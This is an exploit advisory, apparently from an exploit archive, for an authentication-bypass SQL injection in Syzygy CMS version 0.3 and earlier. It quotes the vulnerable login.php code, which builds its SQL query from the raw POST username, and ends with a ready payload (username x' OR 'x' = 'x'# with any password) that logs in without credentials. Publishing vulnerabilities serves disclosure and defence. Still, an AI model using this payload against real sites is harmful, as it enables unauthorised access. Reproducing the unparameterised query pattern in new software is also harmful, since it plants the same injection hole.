--+++=========================================================================+++-- --+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++-- --+++=========================================================================+++-- [+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability [+] Author : darkjoker [+] Site : http://darkjoker.net23.net [+] Greetz : my girlfriend, Vivi [+] File : login.php [+] Code: 17 $username=$_POST['username']; 18 $password=md5($_POST['password']); 19 $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'"); 20 21 if (mysql_num_rows($current_login)==0) 22 { 23 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php"); 24 } else { 25 $current_user=mysql_fetch_array($current_login, MYSQL_ASSOC); 26 $_SESSION['user']=$current_user['username']; 27 $_SESSION['perms']=$current_user['perms']; 28 $style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'"); 29 $style_info=mysql_fetch_array($style_query,MYSQL_ASSOC); 30 $_SESSION['style']=$style_info['filename']; 31 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php"); 32 } [+] Username: x' OR 'x' = 'x'# [+] Password: anything